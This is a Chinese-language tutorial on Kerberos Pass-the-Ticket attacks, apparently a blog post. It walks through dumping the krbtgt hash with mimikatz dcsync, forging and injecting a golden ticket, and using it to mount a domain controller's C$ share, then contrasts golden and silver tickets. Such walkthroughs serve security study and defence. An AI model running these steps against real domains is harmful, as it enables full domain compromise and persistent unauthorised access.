目录

黄金票据

生成票据并导入

查看票据

验证是否成功

黄金票据和白银票据的不同


票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

关于Kerberos认证:Kerberos认证方式

现在我们有下面这种情况,域成员A获得了域中的 krbtgt 用户的 sid 值和哈希值,现在域成员A想利用票据传递攻击,访问域控服务器。

黄金票据

在认证过程中,客户端与KAS的通信会得到TGT认购权证,带着TGT认购权证向TGS请求,得到ST服务票据,用这个ST服务票据可以来访问应用服务器。域中每个用户的ST服务票据都是由krbtgt用户的密码Hash来计算生成的,因此只要我们拿到了krbtgt用户的密码Hash,就可以随意伪造ST服务票据,进而使用ST服务票据登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击(Pass the Ticket,PtT)。

在域中,存在的特殊用户,在域服务器上执行命令 net  user 可以看到存在 krbtgt 用户。

要创建黄金票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • krbtgt账号的哈希值

那么,我们如何知道krbtgt账号的SID值和哈希值呢?下面这个命令是在域控的服务器上运行

lsadump::dcsync /domain:xie.com /user:krbtgt

注意,这里我们要的是域的SID值,所以去掉最后的 502,如下SID为: S-1-5-21-2189311154-2766837956-1982445477

以下环境是在域成员A的 administrator 用户下进行,因为mimikatz需要administrator权限!

生成票据并导入

方法一:在mimikatz中生成黄金票据并导入

privilege::debug  #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c /ptt #生成票据并导入
# kerberos::golden /user:要伪造的域用户(我们这一般写域控) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

方法二:在mimikatz中先生成票据,再导入

#以上的命令是直接一步将生成的票据导入,我们也可以分两步
privilege::debug #提权
kerberos::golden /user:administrator /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /krbtgt:7aad81625fab43e7fdb3cd9f399c060c #默认生成ticket.kirbi票据
kerberos:ptt ticket.kirbi #导入票据

查看票据

然后在我们域成员主机上的CMD窗口可以查看到该票据

也可以在mimikatz中查看该票据

验证是否成功

net use k: \\WIN2008.xie.com\c$   #将WIN2008的C盘映射到本地的K盘,注意这里格式只能是 主机名.域名 的形式,而不能写ip

我们也可以将该票据删除:

kerberos::purge      #删除票据
kerberos::list #查看票据

黄金票据和白银票据的不同

访问权限不同:

  • Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
  • Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

  • Golden Ticket由Kerberos的Hash加密
  • Silver Ticket由服务账号(通常为计算机账户)Hash加密

认证流程不同:

  • Golden Ticket的利用过程需要访问域控,
  • 而Silver Ticket不需要

参考文章:黄金票据(Golden Ticket)的原理与实践

如何通过SSH隧道实现 Windows Pass the Ticket攻击?

票据传递攻击(Pass the Ticket,PtT)的更多相关文章

  1. 域渗透之票据传递攻击(pass the ticket,ptt)

    票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...

  2. 域渗透-凭据传递攻击(pass the hash)完全总结

    总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki  https://en.wikiped ...

  3. 哈希传递攻击利用(Pass The Hash)

    最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录. 0x01 哈希传递攻击概念 有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM ...

  4. PtH(hash传递攻击)原理探秘

    背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...

  5. Windows NTLM Hash和Hash传递、Key传递攻击

    Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash ...

  6. 值传递:pass by value(按值传递) 和 pass by reference(引用传递)-[all]-[编程原理]

    所有的编程语言,都会讨论值传递问题. 通过一个js示例直观认识 //理解按值传递(pass by value)和按引用传递(pass by reference) //pass by value var ...

  7. 域权限维持:Ptk(Pass The Ticket)

    Kerberos协议传送门:https://www.cnblogs.com/zpchcbd/p/11707302.html 1.黄金票据 2.白银票据

  8. 票据传递之MS14-068

    MS14-068是密钥分发中心(KDC)服务中的Windows漏洞.它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构).该漏洞位于kdcsvc.dll ...

  9. Windows认证体系解读

    目录 Windows认证方式 Windows本地认证 NTLM认证方式(工作组环境中) wiresharek抓包NTLMv2,使用Hashcat爆破 NTLM认证方式(域环境中) Kerberos认证 ...

随机推荐

  1. 2020年12月-第02阶段-前端基础-CSS Day05

    CSS Day05 1. 学成在线页面制作 理解 能够说写单页面我们基本的流程 能说出常见的css初始化语句 能说出我们CSS属性书写顺序 应用 能利用ps切图 能引入外部样式表 能把psd文件转换为 ...

  2. 『笔记』2-SAT

    前置 \(SAT\) 是适定性( \(Satisfiability\) )问题的简称.一般形式为 \(k \ -\) 适定性问题,简称 \(k-SAT\) .而当 \(k>2\) 时该问题为 \ ...

  3. 通达OA 页面敏感信息-2013/2015版本

    参考 http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/4.html 漏洞影响 2013.2015版本 复现过程 POC: http://0-sec.or ...

  4. FreeBSD 的xfce 终端动态标题不显示问题解决了:

    tcsh配置,home目录创建.tcshrc, 写入以下配置 alias h history 25 alias j jobs -l alias la ls -aF alias lf ls -FA al ...

  5. 攻防世界 reverse 2ex1

    2ex1 CISCN-2018-Quals mark 1 import base64 2 3 std_base= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk ...

  6. 【linux】系统编程-4-共享内存

    目录 前言 6. 共享内存 6.1 概念 6.2 操作函数 6.2.1 shmget() 6.2.2 shmat() 6.2.3 shmdt() 6.2.4 shmctl() 6.3 例子 参考: 前 ...

  7. NameError: name 'foo' is not defined Python常见错误

    1.变量或者函数名拼写错误 2.在一个定义新变量中使用增值操作符 没有定义的变量被引用时候会出现此错误

  8. Echarts4.x雷达图如何展示一维数据?

    最近做的项目其中一个功能是画雷达图,鼠标滑过雷达图的拐点,展示该维相关数据,并且需要显示雷达图的刻度. 但是我发现单纯的雷达图似乎没办法展示一维数据. 我总结了一下,关于画雷达图,我遇到的难点有三个: ...

  9. filesort排序原理

    在执行计划中,可能经常看到有Extra列有filesort,这就是使用了文件排序,这当然是不好的,应该优化,但是,了解一下他排序的原理也许很有帮助,下面看一下filesort的过程: 1.根据表的索引 ...

  10. docker之镜像配置

    以管理员sudo执行以下命令 docker ps -a 查看镜像的id docker exec -it 镜像id /bin/bash -i表示交互模式 -t表示启动容器进入命令行 加入这两参数,容器创 ...